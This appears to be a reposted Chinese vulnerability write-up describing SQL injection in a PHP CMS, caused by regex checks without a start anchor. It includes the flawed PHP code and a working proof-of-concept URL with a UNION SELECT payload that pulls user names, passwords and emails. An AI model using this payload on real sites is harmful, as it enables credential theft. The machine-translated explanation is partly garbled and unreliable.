加入收藏 | 设为首页 | 会员中心 | 我要投稿 李大同 (https://www.lidatong.com.cn/)- 科技、建站、经验、云计算、5G、大数据,站长网!
当前位置: 首页 > 百科 > 正文

正则过滤不严引发的注入漏洞小记

发布时间:2020-12-14 02:22:21 所属栏目:百科 来源:网络整理
导读:Author Zvall function show() { global $bgcolor2,$eid,$type,$d,$m,$y,$user,$theme,$language; if ($type == "birthday" ereg("[a-zA-Z0-9]+$",$id)) //这里没有用`^`作开始标记 { $sql = mysql_query("SELECT pseudo,prenom,age FROM " . USER_TABLE . "

Author Zvall

function show()
    {
        global $bgcolor2,$eid,$type,$d,$m,$y,$user,$theme,$language;
 
        if ($type == "birthday" && ereg("[a-zA-Z0-9]+$",$id))  //这里没有用`^`作开始标记 
        {
            $sql = mysql_query("SELECT pseudo,prenom,age FROM " . USER_TABLE . " WHERE id = '" . $id . "'");
            list($pseudo,$prenom,$birthday) = mysql_fetch_array($sql);
            $pseudo = stripslashes($pseudo);
            $prenom = stripslashes($prenom);  ...
 
n.
 
PoC:
http://127.0.0.1:80/nk/index.php?file=op=show&id=
0'union+select+version(),concat(pseudo,0x3a,pass,email),3+from+my_users+where%20'vuln-lab'='vuln-lab&type=birthday
 
f (preg_match('`..`',$theme) || preg_match('`..`',$language) || ereg("[A-Za-z]",$_GET['ip_ban']))
{
    die('<br /><br /><br /><div style="text-align: center"><big>What are you trying to do ?</big></div>');
}
ereg("[A-Za-z]",$_GET['ip_ban']) 没用^开始 $结束。。这里无论如何都是true
此功能将检查如果一个变量包含α-num个字符或没有,你可以看到这个正则表达式
比ereg(“[A-ZA-Z0-9]+”,EID)的程序员忘记添加开始检查`^`。远程攻击者可以绕过
通过添加任何自己的特殊字符,如(+, - ,#,%),其次字符串来验证上述条件的验证。

(编辑:李大同)

【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容!

    推荐文章
      热点阅读